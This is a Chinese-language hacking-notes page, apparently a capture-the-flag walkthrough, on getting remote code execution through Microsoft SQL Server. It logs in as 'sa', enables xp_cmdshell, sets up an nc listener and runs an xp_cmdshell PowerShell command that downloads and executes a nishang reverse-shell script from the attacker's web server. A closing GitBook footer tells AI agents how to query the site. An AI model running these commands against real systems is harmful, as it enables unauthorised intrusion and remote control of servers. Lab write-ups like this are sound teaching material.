> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/mssql-1433/mssql-exploitation-rce.md).

# MSSQL - RCE 利用

## MSSQL 利用（Microsoft SQL）

**端口 1433（MSSQL）**

端口 1433 处于开放状态，表明有一个 Microsoft SQL Server 正在监听。使用在枚举过程中恢复出的用户测试访问。

<figure><img src="/files/db6c6085702dfab9d4dd88a0c4e91d6a671eccff" alt=""><figcaption></figcaption></figure>

**MSSQL 连接测试**

使用 `mssqlclient.py` 尝试连接：

```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="/files/65503ac4af56ad76d7e8d521aa370072ecb201b8" alt=""><figcaption></figcaption></figure>

**结果**：只有 `sa` 用户可用。

```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="/files/9bae78c3bb1f8b876ca0cbab23851eb61e46cffb" alt=""><figcaption></figcaption></figure>

### 通过 MSSQL 获取反向 Shell

**启用命令执行**

要执行系统命令，请启用 `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

然后用一个简单命令测试，例如 `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="/files/d078e158118269452cc61ad14d70b0298d937cb3" alt=""><figcaption></figcaption></figure>

**为在我们的机器上监听做准备**

在 4444 端口启动监听：

```bash
rlwrap nc -nvlp 4444
```

**下载一个 PowerShell 脚本**

准备一个名为 `PS.ps1` 的 PowerShell 脚本，其中包含一个反向 Shell 函数：

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

在脚本末尾添加以下一行：

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

将此脚本托管在本地 Web 服务器上：

```bash
python3 -m http.server 80
```

**执行反向 Shell**

在 MSSQL 服务器上，运行以下命令以下载并执行该 PowerShell 脚本：

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="/files/771a7070c97ef756a98186a49d05bc869d9fb239" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/mssql-1433/mssql-exploitation-rce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
